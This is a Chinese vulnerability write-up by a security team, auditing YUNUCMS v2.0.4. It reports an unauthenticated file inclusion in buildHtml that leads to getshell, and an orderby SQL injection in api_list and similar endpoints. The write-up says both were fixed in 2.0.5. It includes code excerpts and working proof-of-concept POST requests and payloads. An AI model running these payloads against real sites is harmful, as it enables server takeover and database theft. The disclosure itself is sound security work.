YUNUCMSv2.0.4代码审计日常分享 – 作者:08sec团队

作者:08sec—简单点。Le.xie

版本:v2.0.4

发布日期:2019-07-30

官网:http://www.yunucms.com/

目前官方已经更新到2.0.5版本,修复了以下的漏洞,征得同意发布此文。

1.文件包含导致Getshell

文件路径:app/index/controller/Index.php

是否需要登录:否

代码片段:

public function buildHtml($htmlfile='', $htmlpath='', $templateFile='') {
   
$content = $this->fetch($templateFile);
   
$htmlpath = !empty($htmlpath) ? $htmlpath : APP_PATH.'/html';
   
$htmlfile = $htmlpath.$htmlfile.'.html';
   
$dir = dirname($htmlfile);
   
/*if(!is_dir($dir)){
         mkdir($dir,0777,true);
    }*/
   
if(file_put_contents($htmlfile, $content) === false) {
       
return false;
   
} else {
       
return true;
   
}
}

1572571573_5dbb89b5d7575.png!small

templateFile参数可控,参数进入fetch函数:

protected function fetch($template = '', $vars = [], $replace = [], $config = [])

{

    return $this->view->fetch($template, $vars, $replace, $config);

}


进入加载模板函数:

一直跟踪到system/library/think/Template.php的1083行,这里会把带入的文件进行包含:

1572571616_5dbb89e032dbc.png!small

导致文件包含漏洞

POC:

http://localhost/index.php?s=index/index/buildHtml

POST:

templateFile=./1.txt.jpg

1572571627_5dbb89eb241b1.png!small

2.SQL注入

http://localhost/index.php?s=api/master/api_list

POST:cid=29&titlelen=1&orderby=if(database()=’yunucms1′,id,cid)desc&keyword=%

参数:orderby

分析:

文件路径:app/api/controller/Master.php

函数:api_list

核心代码:

public function api_list() {

    $attr = input();

    $cid = !isset($attr['cid']) || $attr['cid'] == '' ? -1 : $attr['cid'];

    $titlelen = empty($attr['titlelen']) ? 0 : intval($attr['titlelen']);

    if (empty($attr['orderby'])) {

        $orderby = "id DESC";

    }else{

        if (strpos($attr['orderby'], 'desc') !== false || strpos($attr['orderby'], 'asc') !== false) {

            $orderby = $attr['orderby'];//如果包含desc/asc,即传入可控内容

        }else{

            $orderby = "id DESC";

        }

    }

    ……

    $_infolist = db('content')->where($_where)->order("$orderby")->limit(($pages-1)*$limit,$limit)->select();

161行带入orderby参数,可带入恶意代码:

1572571648_5dbb8a000f601.png!small

页面提交:

1572571683_5dbb8a23320e4.png!small

可以看到,恶意代码带入到SQL语句里执行了

1572571692_5dbb8a2c6209c.png!small

其他的有同样问题的方法还有:api_link/ api_banner

http://localhost/index.php?s=api/master/api_listmipor api_link api_banner  同理

http://localhost/index.php?s=api/v1/api_listmip or api_linkapi_banner  同理

来源:freebuf.com 2019-11-06 15:00:48 by: 08sec团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论